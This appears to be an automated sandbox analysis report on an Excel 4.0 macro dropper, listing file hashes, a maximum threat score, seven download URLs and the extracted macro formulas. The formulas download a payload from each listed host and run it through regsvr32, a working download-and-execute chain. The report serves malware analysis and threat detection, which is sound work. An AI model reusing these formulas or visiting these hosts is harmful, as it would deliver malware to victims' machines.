d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e

General

Target

d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e
Size

35KB
Sample

241120-wqs8zsvpep
MD5

a15f10d00534d87cff1c69de11f39aee
SHA1

d78daf15dd2a3a3922fcd024cd91428cc46a9f4c
SHA256

d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e
SHA512

b4823a916d7340fb7712519332c826008b40b6c86ed13373fbbc7aefad014b0fb8c130e43ab20b18cd0be217c43eb2dfdd221a11ce8167ede4157a7097510faa
SSDEEP

768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://bb2play.com/wzzx/9tamtuJMSndL/

https://romusreselling.xyz/wordpress/bSX/

https://localart.net/wp-content/uploads/I4c5SsknUlq/

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

https://grchen.top/wordpress/bIGq8phSAMn/

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

https://sarc.in/wp-admin/9IDe7r7/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bb2play.com/wzzx/9tamtuJMSndL/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/bSX/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://localart.net/wp-content/uploads/I4c5SsknUlq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://grchen.top/wordpress/bIGq8phSAMn/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sarc.in/wp-admin/9IDe7r7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

xlm40.dropper

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

xlm40.dropper

https://grchen.top/wordpress/bIGq8phSAMn/

xlm40.dropper

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

xlm40.dropper

https://sarc.in/wp-admin/9IDe7r7/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

Targets

- Target
  
  d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e
- Size
  
  35KB
- MD5
  
  a15f10d00534d87cff1c69de11f39aee
- SHA1
  
  d78daf15dd2a3a3922fcd024cd91428cc46a9f4c
- SHA256
  
  d072a3284124924672c1429db355757a77b04a33a461fe91b40e06aac278073e
- SHA512
  
  b4823a916d7340fb7712519332c826008b40b6c86ed13373fbbc7aefad014b0fb8c130e43ab20b18cd0be217c43eb2dfdd221a11ce8167ede4157a7097510faa
- SSDEEP
  
  768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2